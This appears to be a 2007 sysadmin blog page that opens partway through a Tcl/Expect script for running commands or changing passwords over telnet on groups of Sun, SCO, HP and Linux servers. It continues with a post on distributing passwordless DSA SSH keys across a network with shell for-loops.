-re "New password: ?$" {
send "\r"
send_user "Password not accepted!\n"
expect -re "New password: ?$" {send "\r"}
expect -re "New password: ?$" {send "\r"}
}
-re "word: ?$" {send "$newpass\r"}
}
expect -re $prompt {send "exit\r"}
} else {
if { $argvec != 0 } {
expect -re $tprompt {send "$commvec $argvec\r"}
} else {
expect -re $tprompt {send "$commvec\r"}
}
log_user 1
expect -re $tprompt {
if { $db } {
log_user 1
} else {
log_user 0
}
send "exit\r"
}
}
}

proc linux_q {command arglist tprompt debug login lpass} {
set timeout 5
set log $login
set opass $lpass
set argvec $arglist
set commvec $command
set prompt $tprompt
set db $debug

if { $command == "passwd" } {
set username $log
set oldpass $opass
set newpass $argvec

expect -re $prompt {send "$commvec\r"}
expect -re "word: ?$" {send "$oldpass\r"}
expect -re "assword: ?$" {send "$newpass\r"}
expect {
-re "BAD.*$" {
send "\r"
send_user "Password not accepted!\n"
expect -re "BAD.*$" {send "\r"}
expect -re "BAD.*$" {send "\r"}
}
-re "word: ?$" {send "$newpass\r"}
}
expect -re $prompt {send "exit\r"}
} else {
if { $argvec != 0 } {
expect -re $tprompt {send "$commvec $argvec\r"}
} else {
expect -re $tprompt {send "$commvec\r"}
}
log_user 1
expect -re $tprompt {
if { $db } {
log_user 1
} else {
log_user 0
}
send "exit\r"
}
}
}

proc sco_q {command arglist tprompt debug login lpass} {
set timeout 5
set log $login
set opass $lpass
set argvec $arglist
set commvec $command
set prompt $tprompt
set db $debug

if { $db } {
log_user 1
} else {
log_user 0
}
if { $command == "passwd" } {
set username $log
set oldpass $opass
set newpass $argvec

expect -re $prompt {send "$commvec $username\r"}
expect -re "word: ?$" {send "$oldpass\r"}
expect -re "1\\\): ?$" {send "\r"}
expect -re "New password: ?$" {send "$newpass\r"}
expect {
-re "New password: ?$" {
send "$newpass\r"
expect -re "New password: ?$" {send "$newpass\r"}
send_user "Password not accepted!\n"
}
-re "word: ?$" {send "$newpass\r"}
}
expect -re $prompt {send "exit\r"}
} else {
expect -re $tprompt {send "\r"}
expect -re $tprompt {
if { $argvec != 0 } {
send "$commvec $argvec\r"
} else {
send "$commvec\r"
}
log_user 1
}
expect -re $tprompt {
if { $db } {
log_user 1
} else {
log_user 0
}
send "exit\r"
}
}
}

#########################################################################
# The main process loop
#########################################################################

#########################################################################
# Check command line args
#########################################################################

if { [llength $argv] < 3 } {
puts "Usage: $argv0 <-h> <-d> \\ "
puts "\t\[+host1 +hostn | \(+sun &| +sco &| +hp &| +linux\) | +all\] \\ "
puts "\t\[login\] \[rpasswd | passwd | <command> <args>\]"
exit
}

set gotserv 0
set gotlog 0

foreach name $argv {
if { [string match "+*" $name ] } {
set gotserv 1
} elseif { [string match "+*" $name ] && $gotserv } {
continue
} elseif { $gotserv } {
set gotlog 1
}
}

if { [expr $gotlog+$gotserv] != 2 } {
puts "Usage: $argv0 <-h> <-d> \\ "
puts "\t\[+host1 +hostn | \(+sun &| +sco &| +hp &| +linux\) | +all\] \\ "
puts "\t\[login\] \[rpasswd | passwd| <command> <args>\]"
exit
}

#########################################################################
# Set list of servers, passwords and other globals
#########################################################################

set sun [list sun1 sun2 sun3]
set sco [list sco1 sco2 sco3]
set hp [list hp1 hp2 hp3]
set linux [list linux1 linux2 linux3]

list servers
list arglist
set allservers 0
set sunservers 0
set linuxservers 0
set scoservers 0
set hpservers 0
set needargs 0
set gotargs 0
set verify 0
set tprompt "(%|#|\\\/|\\\$|\\\/|\\\/\\\/#|user1|user2|user3|\\\)|\\\>|\\\}) ?$"

#########################################################################
# Parse arg vector and delegate procs
#########################################################################

foreach name $argv {
if { [string match "+*" $name] == 1 } {
if { [string match "+all" $name] == 1 } {
set allservers 1
} elseif { [string match "+sun" $name] == 1 } {
set sunservers 1
} elseif { [string match "+linux" $name] == 1 } {
set linuxservers 1
} elseif { [string match "+sco" $name] == 1 } {
set scoservers 1
} elseif { [string match "+hp" $name] == 1 } {
set hpservers 1
} else {
lappend servers [string range $name 1 [expr [string length $name]-1]]
}
} else {
if { $needargs == 1 } {
lappend arglist $name
set gotargs 1
} elseif { $verify == 1 } {
set command $name
set needargs 1
} elseif { $name == "-d" } {
continue
} else {
set login $name
incr verify
}
}
}

set ssshservers [expr $sunservers + $linuxservers + $scoservers + $hpservers]

if { $gotargs == 0 } {
set arglist 0
}

#########################################################################
# Grab user password and new password if necessary.
#########################################################################

send_user "Enter your login password : "
stty -echo
expect -re "(.*)\n"
stty echo
set lpass $expect_out(1,string)

send_user "\n"

if { $command == "passwd" } {
send_user "Enter your new password : "
stty -echo
expect -re "(.*)\n"
stty echo
set arglist $expect_out(1,string)
}

send_user "\n"

#########################################################################
# Loop until all conditions are satisfied
#########################################################################

for {} {1} {} {
if {$allservers} {
foreach host $sun {
spawn telnet $host
sun_login $host $tprompt $login $lpass
sunhp_q $command $arglist $tprompt $debug $login $lpass
}
foreach host $linux {
spawn telnet $host
linux_login $host $tprompt $login $lpass
linux_q $command $arglist $tprompt $debug $login $lpass
}
foreach host $hp {
spawn telnet $host
hp_login $host $tprompt $login $lpass
sunhp_q $command $arglist $tprompt $debug $login $lpass
}
foreach host $sco {
spawn telnet $host
sco_login $host $tprompt $login $lpass
sco_q $command $arglist $tprompt $debug $login $lpass
}
break
} elseif {$sunservers} {
foreach host $sun {
spawn telnet $host
sun_login $host $tprompt $login $lpass
sunhp_q $command $arglist $tprompt $debug $login $lpass
}
if { $ssshservers > 1 } {
set sunservers 0
incr ssshservers -1
continue
}
break
} elseif {$linuxservers} {
foreach host $linux {
spawn telnet $host
linux_login $host $tprompt $login $lpass
linux_q $command $arglist $tprompt $debug $login $lpass
}
if { $ssshservers > 1 } {
set linuxservers 0
incr ssshservers -1
continue
}
break
} elseif {$scoservers} {
foreach host $sco {
spawn telnet $host
sco_login $host $tprompt $login $lpass
sco_q $command $arglist $tprompt $debug $login $lpass
}
if { $ssshservers > 1 } {
set scoservers 0
incr ssshservers -1
continue
}
break
} elseif {$hpservers} {
foreach host $hp {
spawn telnet $host
hp_login $host $tprompt $login $lpass
sunhp_q $command $arglist $tprompt $debug $login $lpass
}
if { $ssshservers > 1 } {
set hpservers 0
incr ssshservers -1
continue
}
break
} else {
foreach host $servers {
if { [lsearch $sun $host] >= 0 } {
spawn telnet $host
sun_login $host $tprompt $login $lpass
sunhp_q $command $arglist $tprompt $debug $login $lpass
} elseif { [lsearch $hp $host] >= 0 } {
spawn telnet $host
hp_login $host $tprompt $login $lpass
sunhp_q $command $arglist $tprompt $debug $login $lpass
} elseif { [lsearch $linux $host] >= 0 } {
spawn telnet $host
linux_login $host $tprompt $login $lpass
linux_q $command $arglist $tprompt $debug $login $lpass
} elseif { [lsearch $sco $host] >= 0 } {
spawn telnet $host
sco_login $host $tprompt $login $lpass
sco_q $command $arglist $tprompt $debug $login $lpass
}
}
if { $ssshservers > 1 } {
incr ssshservers -1
continue
}
break
}
}

exit


, Mike




Thursday, November 22, 2007

A Quick Guide To Setting Up SSH Keys Network Wide

Today, in honor of the spirit of the day, I thought I'd write a little something for which you might, eventually, give many thanks :)

As we mentioned in yesterday's post, once you have SSH keys set up network-wide, so that you can passwordlessly login as yourself on all the machines you administrate, our "scmd" script can be a blessing; especially if you're ever stuck with the seemingly impossible task of retrieving some obscure bit of information off of every single box!

I won't lie to you; this is the worst part of the process. In order to get your keys initially set up, you'll have to put forth a good deal of effort (Your misery will be commensurate with the size of your network). But, once you're done, you'll be on easy street.

For our purposes, we're going to assume that you're using Solaris' (now) standard implementation of SSH (Basically OpenSSH) and craft our instructions using those assumptions. Depending on what kind of SSH client/server you're using, there may be differences in the names of certain files (e.g. authorized_keys2 might be authorized_keys -- The man pages are your friends :) We're also assuming that you actually already have user accounts on all the machines you're required to do work on.

So, to get the worst part over with, simply do the following (cut it up into chunks if it becomes frustrating. Depending on the size of your network, this is quite possible):

1. Create a file with the names or IP addresses of all of the machines you need to work on. For our purposes, format that file with one hostname/IP per line. We'll assume it's named "HostFile"

2. If you haven't done so already, generate your personal ssh-keys on the one machine that you're going to use as your central hub for administrating all the others, like so:

ssh-keygen -t dsa
(Answer yes to the default file locations -- /your/home/directory/.ssh/id_dsa and /your/home/directory/.ssh/id_dsa.pub)
(Also, just hit return both times you're prompted to enter a password. While this is just slightly less secure than entering the double-confirm password, it will completely defeat the purpose of setting this easy-administration up)

2. Run the following from your home directory (This is the first really long and trying part, as you'll have to interact manually):

for x in `cat HostFile`;do ssh -n $x "mkdir -m 700 .ssh";done
(Actuall SSH command may vary depending on your distro. I'm using the "-n" flag to avoid having SSH break out of the "for loop")

Now, if we're starting from scratch, you'll need to answer "yes" for each machine's initial prompt (it will ask you if you trust the host and want to accept and save the key) and enter your password.

3. When that's finally over, cd into your home directory's .ssh directory and run the following on the command line ("HostFile" is still in your home directory, so we're using a relative path to it here):

for x in `cat ../HostFile`;do scp id_dsa.pub $x:/your/home/dir/.ssh/authorized_keys2
(Again, you'll need to enter your password for every machine. Note that if you run a variety of servers, or build standards have changed over time so that your home directory isn't always in the exact same place on every box, you can use "~.ssh/authorized_keys2" as a substitute for "/your/home/dir/.ssh/authorized_keys2)"

4. And, now, you're all done, except to make sure that it actually worked! My favorite way to do this is to just run the same command again. Overwriting your authorized_keys2 file on all the remote hosts won't hurt, and - this time - you should be just kicking back, watching scp's progress meters fly by as you try not to fall asleep ;) Again the "~.ssh/authorized_keys2" substitution is perfectly valid and useful:

for x in `cat ../HostFile`;do scp id_dsa.pub $x:/your/home/dir/.ssh/authorized_keys2

For all the machines that still ask you for your password, take note of those hosts and troubleshoot as necessary. For the most part, you shouldn't have to worry about running into too many of those.

And from here on out, you can use the "scmd" command we put in our pre-Thanksgiving post, or your own custom scripts, to effortlessly run any command (as yourself, of course) on all your machines, by typing a single line on your hub computer.

Happy Thanksgiving :)

, Mike